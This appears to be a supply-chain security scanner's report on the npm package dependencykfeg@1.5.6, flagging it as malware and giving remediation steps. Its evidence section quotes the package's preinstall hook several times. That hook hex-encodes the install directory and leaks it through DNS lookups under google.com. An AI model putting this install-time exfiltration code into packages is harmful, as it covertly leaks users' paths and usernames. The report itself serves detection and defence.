dependencykfeg@1.5.6
test
AI Security Review
scanned 6d ago · by lpm-firewall-aiThe preinstall hook automatically transmits the install path through DNS without consent. This is install-time data exfiltration.
Static reason
High-risk behavior combination matched malicious policy.
Trigger
Runs automatically during npm installation.
Impact
An external party controlling or observing the DNS query can recover the install path, which may expose usernames or project directory names.
Mechanism
Reads process.cwd(), encodes the path as hex, splits it into DNS labels, and looks up the resulting subdomain of google.com.
Attack narrative
During installation, the preinstall script sends the current working directory in a DNS lookup to a subdomain of google.com. The path is hex-encoded and split into labels, allowing it to be reconstructed by an observer.
AI rationale
The preinstall hook automatically transmits the install path through DNS without consent. This is install-time data exfiltration.
Evidence
package.json
Network endpoints1
<hex-encoded-working-directory>.google.com
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The preinstall script reads the install working directory, hex-encodes it, splits it into DNS labels, and sends it in a lookup under google.com.
Evidence against
Behavioral surface
Source & flagged code
3 flaggedpackage.jsonView file
•scripts.preinstall = node -e "const dns = require('dns'); const data = Buffer.from(process.cwd()).toString('hex'); const chunks = data.match(/.{1,63}/g).join('.'); dns.lookup(chunks + '.google.com', ()...
Critical
Red Install Lifecycle Script
Install-time lifecycle script matches a deterministic static-gate block pattern.
package.jsonView on unpkg•scripts.preinstall = node -e "const dns = require('dns'); const data = Buffer.from(process.cwd()).toString('hex'); const chunks = data.match(/.{1,63}/g).join('.'); dns.lookup(chunks + '.google.com', ()...
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg6"scripts": {
"preinstall": "node -e \"const dns = require('dns'); const data = Buffer.from(process.cwd()).toString('hex'); const chunks = data.match(/.{1,63}/g).join('.'); dns.lookup(chunks + '.google.com', () => {
High
Ai Review Evidence
The preinstall script reads the install working directory, hex-encodes it, splits it into DNS labels, and sends it in a lookup under google.com.
package.jsonFindings
1 Critical2 High1 Low
CriticalRed Install Lifecycle Scriptpackage.json
HighInstall Time Lifecycle Scriptspackage.json
HighAi Review Evidencepackage.json
LowScripts Present
Affected versions and remediation
This report applies to dependencykfeg@1.5.6.
See all versions of dependencykfeg for other recorded verdicts.
- Avoid installing dependencykfeg@1.5.6. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.